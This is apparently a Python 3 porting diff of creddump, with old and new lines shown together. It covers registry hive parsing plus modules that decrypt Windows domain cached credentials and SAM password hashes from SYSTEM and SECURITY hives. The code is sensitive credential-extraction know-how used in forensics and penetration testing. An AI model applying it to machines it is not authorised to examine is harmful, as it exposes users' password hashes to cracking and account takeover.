|
||||
l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
|
||||
l.append(Pointer(a_tp, self.address + a_off, self.space, ptp))
|
||||
else:
|
||||
l.append(Obj(a_tp, self.address+a_off, self.space))
|
||||
l.append(Obj(a_tp, self.address + a_off, self.space))
|
||||
return l
|
||||
elif tp == 'pointer':
|
||||
# Can't just return a Obj here, since pointers need to also
|
||||
# know what type they point to.
|
||||
ptp = get_ptr_type(self.name, [attr])
|
||||
return Pointer(tp, self.address+off, self.space, ptp)
|
||||
return Pointer(tp, self.address + off, self.space, ptp)
|
||||
else:
|
||||
return Obj(tp, self.address+off, self.space)
|
||||
|
||||
def __div__(self, other):
|
||||
if isinstance(other,tuple) or isinstance(other,list):
|
||||
return Obj(tp, self.address + off, self.space)
|
||||
|
||||
def __truediv__(self, other):
|
||||
if isinstance(other, (tuple, list)):
|
||||
return Pointer(other[0], self.address, self.space, other[1])
|
||||
elif isinstance(other,str):
|
||||
elif isinstance(other, str):
|
||||
return Obj(other, self.address, self.space)
|
||||
else:
|
||||
raise ValueError("Must provide a type name as string for casting")
|
||||
|
||||
|
||||
def members(self):
|
||||
"""Return a list of this object's members, sorted by offset."""
|
||||
|
||||
# Could also just return the list
|
||||
membs = [ (k, v[0]) for k,v in types[self.name][1].items()]
|
||||
membs = [(k, v[0]) for k, v in list(types[self.name][1].items())]
|
||||
membs.sort(key=itemgetter(1))
|
||||
return map(itemgetter(0),membs) + self.extra_members
|
||||
return list(map(itemgetter(0), membs)) + self.extra_members
|
||||
|
||||
def values(self):
|
||||
"""Return a dictionary of this object's members and their values"""
|
||||
|
||||
|
||||
valdict = {}
|
||||
for k in self.members():
|
||||
valdict[k] = getattr(self, k)
|
||||
|
@ -130,7 +135,7 @@ class Obj(object):
|
|||
|
||||
def bytes(self, length=-1):
|
||||
"""Get bytes starting at the address of this object.
|
||||
|
||||
|
||||
Arguments:
|
||||
length : the number of bytes to read. Default: size of
|
||||
this object.
|
||||
|
@ -147,7 +152,7 @@ class Obj(object):
|
|||
return builtin_types[self.name][0]
|
||||
else:
|
||||
return types[self.name][0]
|
||||
|
||||
|
||||
def __repr__(self):
|
||||
return "<%s @%08x>" % (self.name, self.address)
|
||||
|
||||
|
@ -168,67 +173,72 @@ class Obj(object):
|
|||
def get_offset(self, member):
|
||||
return get_obj_offset(types, [self.name] + member)
|
||||
|
||||
|
||||
class Primitive(Obj):
|
||||
"""Class to represent a primitive data type.
|
||||
|
||||
|
||||
Attributes:
|
||||
value : the python primitive value of this type
|
||||
"""
|
||||
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def __init__(self, name, address, space):
|
||||
super(Primitive,self).__init__(name, address, space)
|
||||
super(Primitive, self).__init__(name, address, space)
|
||||
length, fmt = builtin_types[name]
|
||||
data = space.read(address,length)
|
||||
if not data: self.value = None
|
||||
else: self.value = unpack(fmt,data)[0]
|
||||
|
||||
data = space.read(address, length)
|
||||
if not data:
|
||||
self.value = None
|
||||
else:
|
||||
self.value = unpack(fmt, data)[0]
|
||||
|
||||
def __repr__(self):
|
||||
return repr(self.value)
|
||||
|
||||
def members(self):
|
||||
return []
|
||||
|
||||
|
||||
class Pointer(Obj):
|
||||
"""Class to represent pointers.
|
||||
|
||||
|
||||
value : the object pointed to
|
||||
|
||||
If an attribute is not found in this instance,
|
||||
the attribute will be looked up in the referenced
|
||||
object."""
|
||||
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def __init__(self, name, address, space, ptr_type):
|
||||
super(Pointer,self).__init__(name, address, space)
|
||||
super(Pointer, self).__init__(name, address, space)
|
||||
ptr_address = read_value(space, name, address)
|
||||
if ptr_type[0] == 'pointer':
|
||||
self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
|
||||
else:
|
||||
self.value = Obj(ptr_type[0], ptr_address, self.space)
|
||||
|
||||
|
||||
def __getattribute__(self, attr):
|
||||
# It's still nice to be able to access things through pointers
|
||||
# without having to explicitly dereference them, so if we don't
|
||||
# find an attribute via our superclass, just dereference the pointer
|
||||
# and return the attribute in the pointed-to type.
|
||||
try:
|
||||
return super(Pointer,self).__getattribute__(attr)
|
||||
return super(Pointer, self).__getattribute__(attr)
|
||||
except AttributeError:
|
||||
return getattr(self.value, attr)
|
||||
|
||||
|
||||
def __repr__(self):
|
||||
return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
|
||||
|
||||
def members(self):
|
||||
return self.value.members()
|
||||
|
||||
|
||||
class _UNICODE_STRING(Obj):
|
||||
"""Class representing a _UNICODE_STRING
|
||||
|
||||
|
@ -238,8 +248,8 @@ class _UNICODE_STRING(Obj):
|
|||
* The __str__ method returns the value of the Buffer.
|
||||
"""
|
||||
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def __str__(self):
|
||||
|
@ -248,54 +258,63 @@ class _UNICODE_STRING(Obj):
|
|||
# Custom Attributes
|
||||
def getBuffer(self):
|
||||
return read_unicode_string(self.space, types, [], self.address)
|
||||
|
||||
Buffer = property(fget=getBuffer)
|
||||
|
||||
|
||||
class _CM_KEY_NODE(Obj):
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def getName(self):
|
||||
return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'],
|
||||
self.address, self.NameLength.value)
|
||||
self.address, self.NameLength.value)
|
||||
|
||||
Name = property(fget=getName)
|
||||
|
||||
|
||||
class _CM_KEY_VALUE(Obj):
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def getName(self):
|
||||
return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'],
|
||||
self.address, self.NameLength.value)
|
||||
self.address, self.NameLength.value)
|
||||
|
||||
Name = property(fget=getName)
|
||||
|
||||
|
||||
class _CHILD_LIST(Obj):
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def getList(self):
|
||||
lst = []
|
||||
list_address = read_obj(self.space, types,
|
||||
['_CHILD_LIST', 'List'], self.address)
|
||||
['_CHILD_LIST', 'List'], self.address)
|
||||
for i in range(self.Count.value):
|
||||
lst.append(Pointer("pointer", list_address+(i*4), self.space,
|
||||
["_CM_KEY_VALUE"]))
|
||||
lst.append(Pointer("pointer", list_address + (i * 4), self.space,
|
||||
["_CM_KEY_VALUE"]))
|
||||
return lst
|
||||
|
||||
List = property(fget=getList)
|
||||
|
||||
|
||||
class _CM_KEY_INDEX(Obj):
|
||||
def __new__(typ, *args, **kwargs):
|
||||
obj = object.__new__(typ)
|
||||
def __new__(cls, *args, **kwargs):
|
||||
obj = object.__new__(cls)
|
||||
return obj
|
||||
|
||||
def getList(self):
|
||||
lst = []
|
||||
for i in range(self.Count.value):
|
||||
# we are ignoring the hash value here
|
||||
off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
|
||||
lst.append(Pointer("pointer", self.address+off, self.space,
|
||||
["_CM_KEY_NODE"]))
|
||||
off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
|
||||
lst.append(Pointer("pointer", self.address + off, self.space,
|
||||
["_CM_KEY_NODE"]))
|
||||
return lst
|
||||
|
||||
List = property(fget=getList)
|
||||
|
|
|
@ -9,13 +9,15 @@
|
|||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
#
|
||||
|
||||
# pylint: disable=invalid-name,missing-docstring
|
||||
|
||||
"""
|
||||
@author: AAron Walters and Nick Petroni
|
||||
@license: GNU General Public License 2.0 or later
|
||||
|
@ -25,59 +27,61 @@
|
|||
|
||||
import struct
|
||||
|
||||
builtin_types = { \
|
||||
'int' : (4, 'i'), \
|
||||
'long': (4, 'i'), \
|
||||
'unsigned long' : (4, 'I'), \
|
||||
'unsigned int' : (4, 'I'), \
|
||||
'address' : (4, 'I'), \
|
||||
'char' : (1, 'c'), \
|
||||
'unsigned char' : (1, 'B'), \
|
||||
'unsigned short' : (2, 'H'), \
|
||||
'short' : (2, 'h'), \
|
||||
'long long' : (8, 'q'), \
|
||||
'unsigned long long' : (8, 'Q'), \
|
||||
'pointer' : (4, 'I'),\
|
||||
}
|
||||
builtin_types = {
|
||||
'int': (4, 'i'),
|
||||
'long': (4, 'i'),
|
||||
'unsigned long': (4, 'I'),
|
||||
'unsigned int': (4, 'I'),
|
||||
'address': (4, 'I'),
|
||||
'char': (1, 'c'),
|
||||
'unsigned char': (1, 'B'),
|
||||
'unsigned short': (2, 'H'),
|
||||
'short': (2, 'h'),
|
||||
'long long': (8, 'q'),
|
||||
'unsigned long long': (8, 'Q'),
|
||||
'pointer': (4, 'I'),
|
||||
}
|
||||
|
||||
|
||||
def obj_size(types, objname):
|
||||
if not types.has_key(objname):
|
||||
if objname not in types:
|
||||
raise Exception('Invalid type %s not in types' % (objname))
|
||||
|
||||
return types[objname][0]
|
||||
|
||||
|
||||
def builtin_size(builtin):
|
||||
if not builtin_types.has_key(builtin):
|
||||
if builtin not in builtin_types:
|
||||
raise Exception('Invalid built-in type %s' % (builtin))
|
||||
|
||||
return builtin_types[builtin][0]
|
||||
|
||||
|
||||
def read_value(addr_space, value_type, vaddr):
|
||||
"""
|
||||
Read the low-level value for a built-in type.
|
||||
Read the low-level value for a built-in type.
|
||||
"""
|
||||
|
||||
if not builtin_types.has_key(value_type):
|
||||
if value_type not in builtin_types:
|
||||
raise Exception('Invalid built-in type %s' % (value_type))
|
||||
|
||||
type_unpack_char = builtin_types[value_type][1]
|
||||
type_size = builtin_types[value_type][0]
|
||||
type_size = builtin_types[value_type][0]
|
||||
|
||||
buf = addr_space.read(vaddr, type_size)
|
||||
if buf is None:
|
||||
return None
|
||||
(val, ) = struct.unpack(type_unpack_char, buf)
|
||||
(val,) = struct.unpack(type_unpack_char, buf)
|
||||
|
||||
return val
|
||||
|
||||
|
||||
def read_unicode_string(addr_space, types, member_list, vaddr):
|
||||
offset = 0
|
||||
if len(member_list) > 1:
|
||||
(offset, current_type) = get_obj_offset(types, member_list)
|
||||
(offset, __) = get_obj_offset(types, member_list)
|
||||
|
||||
|
||||
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
|
||||
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
|
||||
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
|
||||
|
||||
if length == 0x0:
|
||||
|
@ -90,23 +94,24 @@ def read_unicode_string(addr_space, types, member_list, vaddr):
|
|||
|
||||
if readBuf is None:
|
||||
return None
|
||||
|
||||
|
||||
try:
|
||||
readBuf = readBuf.decode('UTF-16').encode('ascii')
|
||||
except:
|
||||
except Exception: # pylint: disable=broad-except
|
||||
return None
|
||||
|
||||
|
||||
return readBuf
|
||||
|
||||
|
||||
def read_string(addr_space, types, member_list, vaddr, max_length=256):
|
||||
offset = 0
|
||||
if len(member_list) > 1:
|
||||
(offset, current_type) = get_obj_offset(types, member_list)
|
||||
(offset, __) = get_obj_offset(types, member_list)
|
||||
|
||||
val = addr_space.read(vaddr + offset, max_length)
|
||||
|
||||
return val
|
||||
|
||||
return val
|
||||
|
||||
|
||||
def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
|
||||
string = read_string(addr_space, types, member_list, vaddr, max_length)
|
||||
|
@ -114,11 +119,8 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
|
|||
if string is None:
|
||||
return None
|
||||
|
||||
if (string.find('\0') == -1):
|
||||
return string
|
||||
(string, none) = string.split('\0', 1)
|
||||
return string
|
||||
|
||||
return string.split('\0', 1)[0]
|
||||
|
||||
|
||||
def get_obj_offset(types, member_list):
|
||||
"""
|
||||
|
@ -130,7 +132,7 @@ def get_obj_offset(types, member_list):
|
|||
|
||||
offset = 0
|
||||
|
||||
while (len(member_list) > 0):
|
||||
while member_list:
|
||||
if current_type == 'array':
|
||||
current_type = member_dict[current_member][1][2][0]
|
||||
if current_type in builtin_types:
|
||||
|
@ -140,14 +142,14 @@ def get_obj_offset(types, member_list):
|
|||
index = member_list.pop()
|
||||
offset += index * current_type_size
|
||||
continue
|
||||
|
||||
elif not types.has_key(current_type):
|
||||
|
||||
elif current_type not in types:
|
||||
raise Exception('Invalid type ' + current_type)
|
||||
|
||||
|
||||
member_dict = types[current_type][1]
|
||||
|
||||
|
||||
current_member = member_list.pop()
|
||||
if not member_dict.has_key(current_member):
|
||||
if current_member not in member_dict:
|
||||
raise Exception('Invalid member %s in type %s' % (current_member, current_type))
|
||||
|
||||
offset += member_dict[current_member][0]
|
||||
|
@ -164,8 +166,6 @@ def read_obj(addr_space, types, member_list, vaddr):
|
|||
"""
|
||||
if len(member_list) < 2:
|
||||
raise Exception('Invalid type/member ' + str(member_list))
|
||||
|
||||
|
||||
|
||||
(offset, current_type) = get_obj_offset(types, member_list)
|
||||
return read_value(addr_space, current_type, vaddr + offset)
|
||||
|
|
|
@ -13,6 +13,8 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# pylint: disable=invalid-name
|
||||
|
||||
"""
|
||||
@author: Brendan Dolan-Gavitt
|
||||
@license: GNU General Public License 2.0 or later
|
||||
|
@ -20,44 +22,44 @@
|
|||
"""
|
||||
|
||||
regtypes = {
|
||||
'_CM_KEY_VALUE' : [ 0x18, {
|
||||
'Signature' : [ 0x0, ['unsigned short']],
|
||||
'NameLength' : [ 0x2, ['unsigned short']],
|
||||
'DataLength' : [ 0x4, ['unsigned long']],
|
||||
'Data' : [ 0x8, ['unsigned long']],
|
||||
'Type' : [ 0xc, ['unsigned long']],
|
||||
'Flags' : [ 0x10, ['unsigned short']],
|
||||
'Spare' : [ 0x12, ['unsigned short']],
|
||||
'Name' : [ 0x14, ['array', 1, ['unsigned short']]],
|
||||
} ],
|
||||
'_CM_KEY_NODE' : [ 0x50, {
|
||||
'Signature' : [ 0x0, ['unsigned short']],
|
||||
'Flags' : [ 0x2, ['unsigned short']],
|
||||
'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']],
|
||||
'Spare' : [ 0xc, ['unsigned long']],
|
||||
'Parent' : [ 0x10, ['unsigned long']],
|
||||
'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]],
|
||||
'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]],
|
||||
'ValueList' : [ 0x24, ['_CHILD_LIST']],
|
||||
'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']],
|
||||
'Security' : [ 0x2c, ['unsigned long']],
|
||||
'Class' : [ 0x30, ['unsigned long']],
|
||||
'MaxNameLen' : [ 0x34, ['unsigned long']],
|
||||
'MaxClassLen' : [ 0x38, ['unsigned long']],
|
||||
'MaxValueNameLen' : [ 0x3c, ['unsigned long']],
|
||||
'MaxValueDataLen' : [ 0x40, ['unsigned long']],
|
||||
'WorkVar' : [ 0x44, ['unsigned long']],
|
||||
'NameLength' : [ 0x48, ['unsigned short']],
|
||||
'ClassLength' : [ 0x4a, ['unsigned short']],
|
||||
'Name' : [ 0x4c, ['array', 1, ['unsigned short']]],
|
||||
} ],
|
||||
'_CM_KEY_INDEX' : [ 0x8, {
|
||||
'Signature' : [ 0x0, ['unsigned short']],
|
||||
'Count' : [ 0x2, ['unsigned short']],
|
||||
'List' : [ 0x4, ['array', 1, ['unsigned long']]],
|
||||
} ],
|
||||
'_CHILD_LIST' : [ 0x8, {
|
||||
'Count' : [ 0x0, ['unsigned long']],
|
||||
'List' : [ 0x4, ['unsigned long']],
|
||||
} ],
|
||||
'_CM_KEY_VALUE': [0x18, {
|
||||
'Signature': [0x0, ['unsigned short']],
|
||||
'NameLength': [0x2, ['unsigned short']],
|
||||
'DataLength': [0x4, ['unsigned long']],
|
||||
'Data': [0x8, ['unsigned long']],
|
||||
'Type': [0xc, ['unsigned long']],
|
||||
'Flags': [0x10, ['unsigned short']],
|
||||
'Spare': [0x12, ['unsigned short']],
|
||||
'Name': [0x14, ['array', 1, ['unsigned short']]],
|
||||
}],
|
||||
'_CM_KEY_NODE': [0x50, {
|
||||
'Signature': [0x0, ['unsigned short']],
|
||||
'Flags': [0x2, ['unsigned short']],
|
||||
'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
|
||||
'Spare': [0xc, ['unsigned long']],
|
||||
'Parent': [0x10, ['unsigned long']],
|
||||
'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
|
||||
'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
|
||||
'ValueList': [0x24, ['_CHILD_LIST']],
|
||||
'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
|
||||
'Security': [0x2c, ['unsigned long']],
|
||||
'Class': [0x30, ['unsigned long']],
|
||||
'MaxNameLen': [0x34, ['unsigned long']],
|
||||
'MaxClassLen': [0x38, ['unsigned long']],
|
||||
'MaxValueNameLen': [0x3c, ['unsigned long']],
|
||||
'MaxValueDataLen': [0x40, ['unsigned long']],
|
||||
'WorkVar': [0x44, ['unsigned long']],
|
||||
'NameLength': [0x48, ['unsigned short']],
|
||||
'ClassLength': [0x4a, ['unsigned short']],
|
||||
'Name': [0x4c, ['array', 1, ['unsigned short']]],
|
||||
}],
|
||||
'_CM_KEY_INDEX': [0x8, {
|
||||
'Signature': [0x0, ['unsigned short']],
|
||||
'Count': [0x2, ['unsigned short']],
|
||||
'List': [0x4, ['array', 1, ['unsigned long']]],
|
||||
}],
|
||||
'_CHILD_LIST': [0x8, {
|
||||
'Count': [0x0, ['unsigned long']],
|
||||
'List': [0x4, ['unsigned long']],
|
||||
}],
|
||||
}
|
||||
|
|
|
@ -21,14 +21,14 @@
|
|||
|
||||
from framework.win32.rawreg import *
|
||||
from framework.addrspace import HiveFileAddressSpace
|
||||
#from framework.win32.hashdump import get_bootkey
|
||||
from framework.win32.hashdump import get_bootkey
|
||||
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
|
||||
from Crypto.Hash import HMAC
|
||||
from Crypto.Cipher import ARC4
|
||||
from Crypto.Cipher import ARC4, AES
|
||||
from struct import unpack
|
||||
|
||||
def get_nlkm(secaddr, lsakey):
|
||||
return get_secret_by_name(secaddr, 'NL$KM', lsakey)
|
||||
def get_nlkm(secaddr, lsakey, vista):
|
||||
return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
|
||||
|
||||
def decrypt_hash(edata, nlkm, ch):
|
||||
hmac_md5 = HMAC.new(nlkm,ch)
|
||||
|
@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch):
|
|||
data = rc4.encrypt(edata)
|
||||
return data
|
||||
|
||||
def decrypt_hash_vista(edata, nlkm, ch):
|
||||
"""
|
||||
Based on code from http://lab.mediaservice.net/code/cachedump.rb
|
||||
"""
|
||||
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
|
||||
|
||||
out = bytearray()
|
||||
for i in range(0, len(edata), 16):
|
||||
buf = edata[i : i+16]
|
||||
if len(buf) < 16:
|
||||
buf += (16 - len(buf)) * b"\00"
|
||||
|
||||
out += aes.decrypt(buf)
|
||||
return out
|
||||
|
||||
def parse_cache_entry(cache_data):
|
||||
(uname_len, domain_len) = unpack("<HH", cache_data[:4])
|
||||
(domain_name_len,) = unpack("<H", cache_data[60:62])
|
||||
|
@ -48,9 +63,9 @@ def parse_cache_entry(cache_data):
|
|||
def parse_decrypted_cache(dec_data, uname_len,
|
||||
domain_len, domain_name_len):
|
||||
uname_off = 72
|
||||
pad = 2 * ( ( uname_len / 2 ) % 2 )
|
||||
pad = 2 * ( ( uname_len // 2 ) % 2 )
|
||||
domain_off = uname_off + uname_len + pad
|
||||
pad = 2 * ( ( domain_len / 2 ) % 2 )
|
||||
pad = 2 * ( ( domain_len // 2 ) % 2 )
|
||||
domain_name_off = domain_off + domain_len + pad
|
||||
|
||||
hash = dec_data[:0x10]
|
||||
|
@ -63,16 +78,16 @@ def parse_decrypted_cache(dec_data, uname_len,
|
|||
|
||||
return (username, domain, domain_name, hash)
|
||||
|
||||
def dump_hashes(Key, secaddr):
|
||||
bootkey = Key
|
||||
def dump_hashes(sysaddr, secaddr, vista):
|
||||
bootkey = get_bootkey(sysaddr)
|
||||
if not bootkey:
|
||||
return []
|
||||
|
||||
lsakey = get_lsa_key(secaddr, bootkey)
|
||||
lsakey = get_lsa_key(secaddr, bootkey, vista)
|
||||
if not lsakey:
|
||||
return []
|
||||
|
||||
nlkm = get_nlkm(secaddr, lsakey)
|
||||
nlkm = get_nlkm(secaddr, lsakey, vista)
|
||||
if not nlkm:
|
||||
return []
|
||||
|
||||
|
@ -86,7 +101,7 @@ def dump_hashes(Key, secaddr):
|
|||
|
||||
hashes = []
|
||||
for v in values(cache):
|
||||
if v.Name == "NL$Control": continue
|
||||
if v.Name == b"NL$Control": continue
|
||||
|
||||
data = v.space.read(v.Data.value, v.DataLength.value)
|
||||
|
||||
|
@ -97,7 +112,11 @@ def dump_hashes(Key, secaddr):
|
|||
if uname_len == 0:
|
||||
continue
|
||||
|
||||
dec_data = decrypt_hash(enc_data, nlkm, ch)
|
||||
if vista:
|
||||
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
|
||||
else:
|
||||
dec_data = decrypt_hash(enc_data, nlkm, ch)
|
||||
|
||||
|
||||
(username, domain, domain_name,
|
||||
hash) = parse_decrypted_cache(dec_data, uname_len,
|
||||
|
@ -107,11 +126,10 @@ def dump_hashes(Key, secaddr):
|
|||
|
||||
return hashes
|
||||
|
||||
def dump_file_hashes(Key, sechive_fname):
|
||||
sysaddr = Key
|
||||
def dump_file_hashes(syshive_fname, sechive_fname, vista):
|
||||
sysaddr = HiveFileAddressSpace(syshive_fname)
|
||||
secaddr = HiveFileAddressSpace(sechive_fname)
|
||||
|
||||
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr):
|
||||
print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'),
|
||||
d.lower(), dn.lower())
|
||||
|
||||
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
|
||||
print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
|
||||
d.lower(), dn.lower()))
|
||||
|
|
|
@ -13,82 +13,89 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# pylint: disable=invalid-name,missing-docstring
|
||||
|
||||
"""
|
||||
@author: Brendan Dolan-Gavitt
|
||||
@license: GNU General Public License 2.0 or later
|
||||
@contact: bdolangavitt@wesleyan.edu
|
||||
"""
|
||||
|
||||
from framework.win32.rawreg import *
|
||||
from struct import unpack, pack
|
||||
import binascii
|
||||
|
||||
from Crypto.Hash import MD5
|
||||
from Crypto.Cipher import ARC4, DES, AES
|
||||
|
||||
from framework.win32.rawreg import get_root, open_key, values, subkeys
|
||||
from framework.addrspace import HiveFileAddressSpace
|
||||
try:
|
||||
from Crypto.Hash import MD5
|
||||
from Crypto.Cipher import ARC4,DES
|
||||
except ImportError:
|
||||
pass
|
||||
from struct import unpack,pack
|
||||
|
||||
odd_parity = [
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
|
||||
112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
|
||||
128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
|
||||
145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
|
||||
161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
|
||||
176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
|
||||
193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
|
||||
208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
|
||||
224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
|
||||
241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
|
||||
]
|
||||
|
||||
# Permutation matrix for boot key
|
||||
p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
|
||||
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]
|
||||
p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
|
||||
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
|
||||
|
||||
# Constants for SAM decrypt algorithm
|
||||
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||
anum = "0123456789012345678901234567890123456789\0"
|
||||
antpassword = "NTPASSWORD\0"
|
||||
almpassword = "LMPASSWORD\0"
|
||||
aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||
anum = b"0123456789012345678901234567890123456789\0"
|
||||
antpassword = b"NTPASSWORD\0"
|
||||
almpassword = b"LMPASSWORD\0"
|
||||
|
||||
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
|
||||
|
||||
empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
|
||||
empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
|
||||
|
||||
def str_to_key(s):
|
||||
key = []
|
||||
key.append( ord(s[0])>>1 )
|
||||
key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
|
||||
key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
|
||||
key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
|
||||
key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
|
||||
key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
|
||||
key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
|
||||
key.append( ord(s[6])&0x7F )
|
||||
key = bytearray()
|
||||
key.append(s[0] >> 1)
|
||||
key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
|
||||
key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
|
||||
